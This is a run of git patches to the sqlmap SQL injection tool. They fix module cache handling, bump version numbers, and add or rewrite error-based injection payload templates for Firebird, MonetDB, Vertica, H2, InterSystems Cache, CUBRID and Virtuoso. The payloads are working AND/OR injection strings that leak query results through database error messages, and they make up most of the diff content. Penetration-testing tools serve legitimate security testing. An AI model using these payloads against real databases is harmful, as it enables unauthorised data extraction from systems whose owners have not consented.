+ @@ -1582,10 +1720,6 @@ IBM DB2 - diff --git a/lib/core/settings.py b/lib/core/settings.py index 289ea20bc45..70aa3791ae3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.189" +VERSION = "1.10.7.190" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From bf138e800ab2e105b43e7a2d0c632d8d1a38b445 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 26 Jul 2026 14:35:35 +0200 Subject: [PATCH 846/853] Fixing CI/CD errors --- lib/core/option.py | 4 ++++ lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index cf23e97f749..5e71ba88804 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -11,6 +11,7 @@ import collections import functools import glob +import importlib import inspect import json import logging @@ -890,6 +891,7 @@ def _setTamperingFunctions(): sys.path.insert(0, dirname) try: + importlib.invalidate_caches() # Note: a script just written into an already-scanned dir is invisible to a cached FileFinder (e.g. on Windows, coarse mtime) module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) @@ -998,6 +1000,7 @@ def _setPreprocessFunctions(): sys.path.insert(0, dirname) try: + importlib.invalidate_caches() # Note: a script just written into an already-scanned dir is invisible to a cached FileFinder (e.g. on Windows, coarse mtime) module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) @@ -1081,6 +1084,7 @@ def _setPostprocessFunctions(): sys.path.insert(0, dirname) try: + importlib.invalidate_caches() # Note: a script just written into an already-scanned dir is invisible to a cached FileFinder (e.g. on Windows, coarse mtime) module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) diff --git a/lib/core/settings.py b/lib/core/settings.py index 70aa3791ae3..d7e9d39ac20 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.190" +VERSION = "1.10.7.191" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 57dee852e43d965b5be4fa98a7dcad1f13d0593d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 26 Jul 2026 14:39:49 +0200 Subject: [PATCH 847/853] Some more fixing CI/CD errors --- lib/core/option.py | 6 +++--- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 5e71ba88804..4c92f0e264e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -891,7 +891,7 @@ def _setTamperingFunctions(): sys.path.insert(0, dirname) try: - importlib.invalidate_caches() # Note: a script just written into an already-scanned dir is invisible to a cached FileFinder (e.g. on Windows, coarse mtime) + getattr(importlib, "invalidate_caches", lambda: None)() # Note: py3.3+ only; a script just written into an already-scanned dir is invisible to a cached FileFinder (Windows coarse mtime) module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) @@ -1000,7 +1000,7 @@ def _setPreprocessFunctions(): sys.path.insert(0, dirname) try: - importlib.invalidate_caches() # Note: a script just written into an already-scanned dir is invisible to a cached FileFinder (e.g. on Windows, coarse mtime) + getattr(importlib, "invalidate_caches", lambda: None)() # Note: py3.3+ only; a script just written into an already-scanned dir is invisible to a cached FileFinder (Windows coarse mtime) module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) @@ -1084,7 +1084,7 @@ def _setPostprocessFunctions(): sys.path.insert(0, dirname) try: - importlib.invalidate_caches() # Note: a script just written into an already-scanned dir is invisible to a cached FileFinder (e.g. on Windows, coarse mtime) + getattr(importlib, "invalidate_caches", lambda: None)() # Note: py3.3+ only; a script just written into an already-scanned dir is invisible to a cached FileFinder (Windows coarse mtime) module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) diff --git a/lib/core/settings.py b/lib/core/settings.py index d7e9d39ac20..8ff5952fc55 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.191" +VERSION = "1.10.7.192" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 523cdd8d9eb0a3b8705f40965a689e710904f849 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 26 Jul 2026 18:03:54 +0200 Subject: [PATCH 848/853] Fixing chunked error-based responses for Firebird --- lib/core/settings.py | 2 +- lib/techniques/error/use.py | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8ff5952fc55..6a7b6265c9a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.192" +VERSION = "1.10.7.193" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 17511a0f4e7..0c632be0dc8 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -74,7 +74,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): threadData.resumed = retVal is not None and not partialValue - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE, DBMS.FIREBIRD)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) @@ -83,7 +83,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) - if Backend.isDbms(DBMS.ORACLE): + if Backend.isDbms(DBMS.ORACLE) or Backend.isDbms(DBMS.FIREBIRD): testQuery = "RPAD('%s',%d,'%s')" % (testChar, current, testChar) else: testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) @@ -117,7 +117,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): if field: nulledCastedField = agent.nullAndCastField(field) - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE, DBMS.FIREBIRD)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) @@ -177,7 +177,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): else: output = output.rstrip() - if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)): + if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE, DBMS.FIREBIRD)): if offset == 1: retVal = output else: From 07d8d5f731a62f32ceb3774ab569c54ad227e315 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 26 Jul 2026 18:45:11 +0200 Subject: [PATCH 849/853] Fixing MonetDB error-based payload --- data/xml/payloads/error_based.xml | 9 +++++---- lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index a1f9c7c7db2..e65fe9c5c38 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -808,9 +808,10 @@ 1 1 1 - AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1)) - AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + AND [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST((SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -827,9 +828,9 @@ 3 1 2 - OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + OR [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1)) - OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + OR [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST((SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] diff --git a/lib/core/settings.py b/lib/core/settings.py index 6a7b6265c9a..683ac86f03b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.193" +VERSION = "1.10.7.194" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2f56ad66f4c4d18cec768272c5a1ba42385ac20a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 26 Jul 2026 20:32:29 +0200 Subject: [PATCH 850/853] Making more DBMS specific error-based payloads for H2, Firebird and Vertica --- data/xml/payloads/error_based.xml | 27 +++++++++++++++------------ lib/core/settings.py | 2 +- 2 files changed, 16 insertions(+), 13 deletions(-) diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index e65fe9c5c38..165556c187f 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -770,9 +770,10 @@ 1 1 1 - AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS BIGINT),1) - AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') + AND [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]' AS BIGINT),1) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -789,9 +790,9 @@ 3 1 2 - OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + OR [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS BIGINT),1) - OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]') + OR [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]' AS BIGINT),1) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -847,9 +848,10 @@ 1 1 1 - AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + AND [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)) - AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + AND [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -866,9 +868,9 @@ 3 1 2 - OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + OR [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)) - OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + OR [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -981,9 +983,10 @@ 1 1,2,3,9 1 - AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT) + + AND [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT),1) - AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT) + AND [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT),1) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -1000,9 +1003,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT) + OR [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT),1) - OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT) + OR [RANDNUM]=ROTATELEFT(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT),1) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] diff --git a/lib/core/settings.py b/lib/core/settings.py index 683ac86f03b..1a1755d9e0f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.194" +VERSION = "1.10.7.195" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a1ed35cf3b71e2c14e799dcc1d601dcec7f80d65 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 26 Jul 2026 21:15:27 +0200 Subject: [PATCH 851/853] Adding error-based payloads for InterSystems Cache --- data/xml/payloads/error_based.xml | 39 +++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 2 files changed, 40 insertions(+), 1 deletion(-) diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 165556c187f..202dc8f1600 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -880,6 +880,45 @@ + + InterSystems Cache AND error-based - WHERE or HAVING clause + 2 + 5 + 1 + 1 + 1 + + AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY')) + + AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ InterSystems Cache +
+
+ + + InterSystems Cache OR error-based - WHERE or HAVING clause + 2 + 5 + 3 + 1 + 2 + OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY')) + + OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ InterSystems Cache +
+
+ IBM DB2 AND error-based - WHERE or HAVING clause 2 diff --git a/lib/core/settings.py b/lib/core/settings.py index 1a1755d9e0f..463bbe4427e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.195" +VERSION = "1.10.7.196" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c75df91eb71add3c189413a1d828acd63fa8ba4b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 26 Jul 2026 21:32:26 +0200 Subject: [PATCH 852/853] Adding CUBRID error-based payloads --- data/xml/errors.xml | 2 +- data/xml/payloads/error_based.xml | 39 +++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 3 files changed, 41 insertions(+), 2 deletions(-) diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 706994f12de..cb990d29327 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -233,7 +233,7 @@ - + diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 202dc8f1600..5d367f9ae11 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -919,6 +919,45 @@ + + CUBRID AND error-based - WHERE or HAVING clause + 2 + 5 + 1 + 1 + 1 + + AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Cubrid +
+
+ + + CUBRID OR error-based - WHERE or HAVING clause + 2 + 5 + 3 + 1 + 2 + OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Cubrid +
+
+ IBM DB2 AND error-based - WHERE or HAVING clause 2 diff --git a/lib/core/settings.py b/lib/core/settings.py index 463bbe4427e..6defa3c637a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.196" +VERSION = "1.10.7.197" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ca608da2f1e2954c0eff27dc6f403b7526f60e28 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 26 Jul 2026 21:45:07 +0200 Subject: [PATCH 853/853] Adding Virtuoso error-based payloads --- data/xml/payloads/error_based.xml | 39 +++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 2 files changed, 40 insertions(+), 1 deletion(-) diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 5d367f9ae11..65c535e22f6 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -958,6 +958,45 @@ + + Virtuoso AND error-based - WHERE or HAVING clause + 2 + 5 + 1 + 1 + 1 + + AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1) + + AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Virtuoso +
+
+ + + Virtuoso OR error-based - WHERE or HAVING clause + 2 + 5 + 3 + 1 + 2 + OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1) + + OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Virtuoso +
+
+ IBM DB2 AND error-based - WHERE or HAVING clause 2 diff --git a/lib/core/settings.py b/lib/core/settings.py index 6defa3c637a..bc16079aa82 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.197" +VERSION = "1.10.7.198" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)